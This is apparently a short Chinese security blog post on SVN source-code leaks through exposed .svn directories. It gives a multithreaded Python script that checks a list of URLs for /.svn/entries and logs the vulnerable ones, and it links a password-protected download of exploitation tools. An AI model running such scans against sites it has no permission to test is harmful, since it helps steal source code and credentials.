SVN源码泄露漏洞

svn泄露漏洞,古老但是偶尔遇到,在交流群里看到有人分享,简单记录一波。

关于svn泄露漏洞

摘抄一下其他博客的内容,来源点击这里

SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)

更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。

怎么检测?

很简单直接在被利用的网址后面加 /.svn/entries。也可以写一下poc。这里有个简单的检测poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
filename: svncheck.py
name: svn源码泄露扫描
description: 忘记了删除.svn目录而导致的漏洞。
'''

import re
import sys
import requests
import queue
import threading
class svn_check(threading.Thread):
    def __init__(self, q):
        threading.Thread.__init__(self)
        self.q = q
    def run(self):
        while not self.q.empty():
            url=self.q.get()
            headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
            payload = "/.svn/entries"
            vulnurl = url + payload
            try:
                req = requests.get(vulnurl, headers=headers, timeout=5, verify=False, allow_redirects=False)
                contents = str(req.text).replace('\n','')
                pattern = re.compile(r'has-props|file|dir')
                match = len(pattern.findall(contents))
                if req.status_code == 200 and match > 0:
                    print("[+]存在svn源码泄露漏洞...(高危)\tpayload: "+vulnurl)
                    with open('target.txt','a') as f1:
                        f1.write(vulnurl+'\n')
                    f1.close()
                else:
                    print("[+]不存在svn源码泄露漏洞"+"  "+url)
            except:
                pass
def urlget():
    with open('url.txt','r',encoding='utf8')as f:
        urls=f.readlines()
        for tmp in urls:
            if '//' in tmp:
                url=tmp.strip('\n')
                urlList.append(url)
            else:
                url='http://'+tmp.strip('\n')
                urlList.append(url)
        return(urlList)
    f.close()

if __name__=="__main__":
    urlList=[]
    urlget()
    threads = []
    threads_count = 10
    q=queue.Queue()
    for url in urlList:
        q.put(url)
    for i in range(threads_count):
        threads.append(svn_check(q))
    for i in threads:
        i.start()
    for i in threads:
        i.join()

在文件目录下,新建一个url.txt将url列表保存在txt中,然后运行python svncheck.py即可,存在漏洞的结果会保存在target.txt中。

怎么利用?

网上利用工具很多,如有需要也可以这里下载:

链接:https://pan.baidu.com/s/1j5FVIDel21yPfWtGW6I8_A 密码:lovg
1 + 9 =
快来做第一个评论的人吧~